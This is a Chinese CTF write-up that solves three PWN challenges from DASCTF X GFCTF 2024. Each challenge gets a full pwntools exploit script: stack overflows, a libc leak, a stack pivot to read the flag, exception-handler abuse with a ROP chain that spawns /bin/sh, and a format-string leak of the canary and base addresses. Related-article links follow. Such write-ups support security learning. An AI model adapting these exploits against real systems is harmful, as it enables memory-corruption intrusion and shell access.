DASCTF X GFCTF 2024|四月开启第一局 [PWN]详解
DASCTF X GFCTF 2024|四月开启第一局[PWN] wp(详解)
1.dynamic_but_static
题目保护情况
64位程序,没有开canary和pie保护,got表可改
64位ida载入
看一下沙箱保护,不能直接execve('/bin/sh')获取shell,也就是需要orw形式读取flag
栈上有溢出,好在都没有过滤这些gadget和地址
思路:1.通过栈溢出泄露出libc地址
2.为了防止过滤和溢出部分不够的情况,将栈迁移到bss段上执行我们的orw
3.题目给的libc和远程有点不一样,但是偏移是固定的,找一下就好了(主要是open的地址)
EXP:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
#io = process('./dynamic_but_static')
io = remote('node5.buuoj.cn',26153)
libc = ELF('./libcc.so.6')
pop_rdi = 0x0000000000401381 #: pop rdi ; ret
ret = 0x000000000040101a
read_got = 0x404040
puts_plt = 0x4010D0
main_addr = 0x401386
payload = b'a'*0x38 + p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(main_addr)
io.sendline(payload)
read_addr = u64(io.recv(6).ljust(8,b'\x00'))
success('read_addr----->'+hex(read_addr))
libc_base = read_addr - libc.sym.read -0x3e0
success('libc_base----->'+hex(libc_base))
bss_addr = 0x404060 + 0x240
open_addr = libc_base + 0x1146d0
pop_rax = 0x045eb0 + libc_base#: pop rax ; ret
pop_rsi = 0x2be51 + libc_base #: pop rsi ; ret
pop_rdx = 0x0796a2 + libc_base # pop_rdx
pop_rbp = 0x4011ed
syscall=libc_base + 0x114059
leave_ret = 0x401482
payload = b'a'*0x38 + p64(pop_rdi)+ p64(0) + p64(pop_rsi) + p64(bss_addr) + p64(pop_rdx) + p64(0x500) + p64(read_addr)
payload += p64(pop_rbp) + p64(bss_addr) + p64(leave_ret)
io.sendline(payload)
sleep(0.5)
payload = b'./flag\x00\x00' + p64(pop_rdi) + p64(bss_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(open_addr)
payload += p64(ret)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss_addr+0x200) + p64(pop_rdx) + p64(0x50) + p64(read_addr) + p64(ret)
payload += p64(pop_rdi) + p64(bss_addr+0x200) + p64(puts_plt)
io.sendline(payload)
2.Control
题目保护情况
64位程序canary保护开启,pie没有开
64位ida载入
main函数,程序是静态编译,一开始向gift上面读取内容
接着有一个明显的溢出,随之而来的还有一个try/catch异常处理,当输入的字节数大于96时会抛出异常
那么我们就不要修改read之后的返回地址了,因为程序定位 catch 段是依靠 ret 的地址,如果修改了ret的地址那么就会报错
思路:1.既然不能改返回地址那么就进行栈迁移,如果异常被上一个函数的catch捕获,那么上个函数的rbp就会变成上这个函数的rbp,所以我们控制rbp实现迁移。
2.通过迁移到bss段上的gift(因为一开始我们可以对gift处地址进行输入),由于ebx被赋值为0了,所以要找一个合适的gadget来帮rdx赋值
3.找到一个很好的gadget(0x446200)mov rdx, [rsi-8]经过调试,得到是把rdx的值赋值为0x91
4.返回0x402221处刚刚好把rsi赋值为gift,而且可以进行读入操作,然后正常系统调用system拿到shell
EXP:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = process('./control')
pop_rdi=0x401c72
pop_rsi=0x405285
pop_rdx=0x401aff
pop_rax=0x462c27
syscall=0x40161e
ret = 0x402237
gift_addr = 0x4D3350
read_addr = 0x402221
mov_rdx = 0x446200
io.recvuntil('Gift>')
io.send(p64(mov_rdx) + p64(read_addr))
io.recvuntil('control?')
payload = b'a'* 0x70 + p64(gift_addr - 0x8) + p64(ret)
#gdb.attach(io)
io.send(payload)
payload = p64(0) + p64(pop_rdi)+p64(gift_addr+0x50) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(0x3b)
payload += p64(syscall) + b'/bin/sh\x00'
#gdb.attach(io)
io.send(payload)
io.interactive()
3.Exception
题目保护情况 保护全开
64位ida载入
main函数里面有格式化字符串漏洞,也就是,elf基地址,libc基地址,和canary都可以泄露
同样是抛出异常进行处理,不同的是这题给了buf地址,不能修改vuln函数之后的返回地址,但是因为知道buf地址,进而知道main函数的返回地址,修改main函数的返回地址。
思路:1.通过printf格式化字符串漏洞泄露,elf,libc,canary
2.在main函数返回地址布置rop链,并在vuln函数输入时覆盖到rbp,进行迁移到main函数返回地址执行rop链
EXP:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
#io = process('./exception')
io = remote('node5.buuoj.cn',25512)
io.recvuntil('your name')
libc = ELF('./exception.so.6')
payload = '%3$paaaa%7$pbbbb%15$p'
#gdb.attach(io)
io.sendline(payload)
io.recvuntil('\n')
read_addr = int(io.recv(14),16) - 18
success('read_addr---->'+hex(read_addr))
libc_base = read_addr - libc.sym['read']
success('libc_base---->'+hex(libc_base))
system = libc.sym['system'] + libc_base
binsh = libc.search('/bin/sh').__next__()+ libc_base
io.recvuntil('aaaa')
canary = int(io.recv(18),16)
success('canary----->'+hex(canary))
io.recvuntil('bbbb')
elf_base = int(io.recv(14),16) - 0x1360
success('elf_base----->'+hex(elf_base))
pause()
pop_rdi = libc_base + 0x0000000000023b6a #: pop rdi ; ret
ret = libc_base + 0x0000000000022679 #: ret
io.recvuntil('stack')
buf_addr = int(io.recv(16),16)
success('buf_addr------>'+hex(buf_addr))
rbp = buf_addr + 0xa0
success('rbp----->'+hex(rbp))
#gdb.attach(io)
pause()
io.recvuntil('exception?')
main_addr = elf_base + 0x1360
payload = b'a'*0x68+p64(canary) + p64(rbp) + p64(elf_base+0x1408) + p64(0) + p64(canary) + p64(0)*3 + p64(ret)
payload += p64(pop_rdi) + p64(binsh) + p64(system)
#gdb.attach(io)
io.sendline(payload)
io.interactive()
DASCTF X GFCTF 2024|四月开启第一局 [PWN]详解的更多相关文章
- 学会Git玩转GitHub(第一篇) 入门详解 - 精简归纳
学会Git玩转GitHub(第一篇) 入门详解 - 精简归纳 JERRY_Z. ~ 2020 / 9 / 25 转载请注明出处!️ 目录 学会Git玩转GitHub(第一篇) 入门详解 - 精简归纳 ...
- 【转】apue《UNIX环境高级编程第三版》第一章答案详解
原文网址:http://blog.csdn.net/hubbybob1/article/details/40859835 大家好,从这周开始学习apue<UNIX环境高级编程第三版>,在此 ...
- ASP.NET Core微服务 on K8S学习笔记(第一章:详解基本对象及服务发现)
课程链接:http://video.jessetalk.cn/course/explore 良心课程,大家一起来学习哈! 任务1:课程介绍 任务2:Labels and Selectors 所有资源对 ...
- DevExpress控件使用方法:第一篇 gridControl详解
GridControl (1)层次设计器 有五种视图模式,banded gridview多行表头,数据还是一行一组,最靠近数据的表头与数据一一对应:advanced banded gridview多行 ...
- Flask第一篇——URL详解
原创 2018-02-14 孟船长 自动化测试实战 URL是Uniform Resource Locator的缩写,即统一资源定位符. 一个URL通常由一下几个部分组成: scheme://host: ...
- python应用:爬虫框架Scrapy系统学习第一篇——xpath详解
HTML的三大概念:标签.元素以及属性 标签:尖括号中的文本 例:<head>……</head> 标签通常成对出现 元素:标签中的所有内容 元素中可包 ...
- koa2第一天 async详解
一.什么是async async其实是ES7的才有的关键字,放在这里说,其实是和我们前面所说的Promise,Generator有很大关联的.async的意思是"异步",顾名 ...
- iOS NSTimer使用详解 开启、关闭、移除
定时器定时器详解ios定时器关闭定时器NSTimer 一,要使用一个定时器首先要定义一个定时器: @property (strong, nonatomic) NSTimer *myTimer;//定时 ...
- IIS负载均衡-Application Request Route详解第一篇: ARR介绍(转载)
IIS负载均衡-Application Request Route详解第一篇: ARR介绍 说到负载均衡,相信大家已经不再陌生了,本系列主要介绍在IIS中可以采用的负载均衡的软件:微软的Applica ...
- IIS负载均衡-Application Request Route详解第一篇: ARR介绍
IIS负载均衡-Application Request Route详解第一篇: ARR介绍 说到负载均衡,相信大家已经不再陌生了,本系列主要介绍在IIS中可以采用的负载均衡的软件:微软的Applica ...
随机推荐
- 【iOS逆向与安全】iOS远程大师:通过H5后台远程查看和协助iPhone设备
前言 在移动设备测试和远程协助的过程中,能够远程查看和协助iPhone设备是一项非常实用的功能.为了解决这一需求,我开发了一款名为iOS远程大师的产品,允许用户通过H5后台界面查看和协助越狱或非越狱的 ...
- MySQL日志文件简记
日志文件 binlog binlog主要记录了MySQL数据库执行了更改的所有操作,主要用来做主从复制,数据恢复 记录模式: Statement模式:每一条回修改数据的sql都会被记录在日志中 Row ...
- echarts下划线实现
echarts中无下划线实现,我采用图片填充文本块背景的方式实现 这是从 长空雁叫霜晨月 的博客中得到启发https://www.cnblogs.com/volodya/p/Echarts.html ...
- 【winform】 WeifenLuo.WinFormsUI.Docking.dll 组件学习
这个组件是用来 对窗体的布局用的,可搭建一个管理系统的ui框架. 使用例子:https://blog.csdn.net/zzzzzzzert/article/details/80791554
- ShardingJDBC使用不当引发的线上事故
本文讲述一个由 ShardingJDBC 使用不当引起的悲惨故事. 一. 问题重现 有一天运营反馈我们部分订单状态和第三方订单状态无法同步. 根据现象找到了不能同步订单状态是因为 order 表的 t ...
- 【ESP32】制作 Wi-fi 音箱(HTTP + I2S 协议)
用 Wifi 来传输音频数据,会比蓝牙更好.使用蓝牙方式,不管你用什么协议,都会对数据重新编码,说人话就是有损音质,虽然不至于全损.而使用 Wifi 就可以将 PCM 数据直接传输,无需再编码和压缩. ...
- Django——Media配置
settings.py中的配置: MEDIA_ROOT 和 MEDIA_URL MEDIA_ROOT 是指:用户上传文件的根路径 --> MEDIA_ROOT = os.path.join(BA ...
- C#使用WebView2替代Electron
C#想要实现Electron那样混合桌面程序可以用以下几个库.本文使用EdgeSharp NanUIgithub.com/NetDimension/NanUI Photinogithub.com/ ...
- xshell 自动断开连接的解决方法
1. 问题分析 本文Xshell连接自动断开的原因是SSH配置文件的ClientAliveInterval字段设置的超时断开时间小于Xshell的检查断开连接时间. 2. SSH配置文件中的字段详解 ...
- React jsx中js表达式
嵌入JS表达式 在jsx语法中,要把JS代码写到{ }中,所有标签必须要闭合. let num = 100 let bool = false; // JSX 语法 var myh1 = ( <d ...